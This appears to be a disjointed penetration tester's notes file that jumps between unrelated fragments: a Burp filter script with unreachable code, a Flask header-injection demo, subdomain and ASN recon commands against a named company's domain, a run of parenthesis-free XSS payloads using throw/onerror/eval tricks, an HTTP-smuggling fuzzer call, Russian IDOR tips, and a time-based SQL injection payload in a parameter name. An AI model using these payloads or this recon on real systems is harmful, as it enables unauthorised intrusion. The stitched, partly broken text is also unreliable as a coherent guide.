id: 6620a595-520b-1ba2-2b20-5ea8568fdb89
name: Filter JSON responses with incorrect content type
function: VIEW_FILTER
location: PROXY_HTTP_HISTORY
source: |+

  return !requestResponse.request().method().equals("OPTIONS");

  var contentType = requestResponse.hasResponse() ? requestResponse.response().headerValue("Content-Type") : null;

  if (contentType != null && !contentType.contains("application/json")) {
    String body = requestResponse.response().bodyToString().trim();

    return body.startsWith( "{" ) || body.startsWith( "[" );
  }

  return false;

@app.route('/')
def index():
    headers = json.loads(unquote(request.args.get("headers")))
    return Response("Hello, world!", headers=headers)

GET /?headers={"X-Accel-Redirect":"/internal"} HTTP/1.1

HTTP/1.1 200 OK
...

Internal

const element = createElement(type, props, ...children)

-Djdk.tls.maxHandshakeMessageSize=65536

asnmap -asn AS51115 -silent 

echo "178.248.233.0/24" | dnsx -ptr -resp -o reverse_dns.txt

echo "178.248.233.0/24" | tlsx -p 443,3443,8443,9443,10443 -cn -san -o tlsx_result.txt

revwhoix -k "Positive Technologies, CJSC"

subfinder -d standoff365.com -silent

puredns bruteforce wordlist.txt standoff365.com -w subdomains_standoff365.com.txt

cat subdomains_standoff365.com.txt | alterx | dnsx -o alterx_resolved_subdomains_standoff365.com.txt

alert`test`

Function`alert\u00281\u0029` ``

Function`_${location.hash.slice`1`}` ``

onerror = eval
throw '=alert\x281\u0029'

{onerror=alert}throw 1

throw onerror=alert,1

throw onerror=eval,x=new Error,x.message='alert\x281\x29',x

throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337,3331,117]+a[13]

TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']

./garden.sh start --build gunicorn hyper nginx haproxy

./garden.sh repl

garden> payload 'GET / HTTP/1.1\r\nHOST: a\r\n\r\n' | transduce haproxy | fanout | grid
...

В Proxy > Options > Match and Replace задай в поле Match шаблон, который захватывает слово перед _id (например, user из user_id).

Выбери тип запроса: Request First Line (для путей, например /user_id/123) или Request Param Name (для параметров, например ?user_id=123).

Настрой замену для создания множественного числа: в поле Replace добавь 's' к захваченному слову (например, user_id превратится в users).

someparam[id) VALUES (NULL); WAITFOR DELAY '0:0:5';--]=test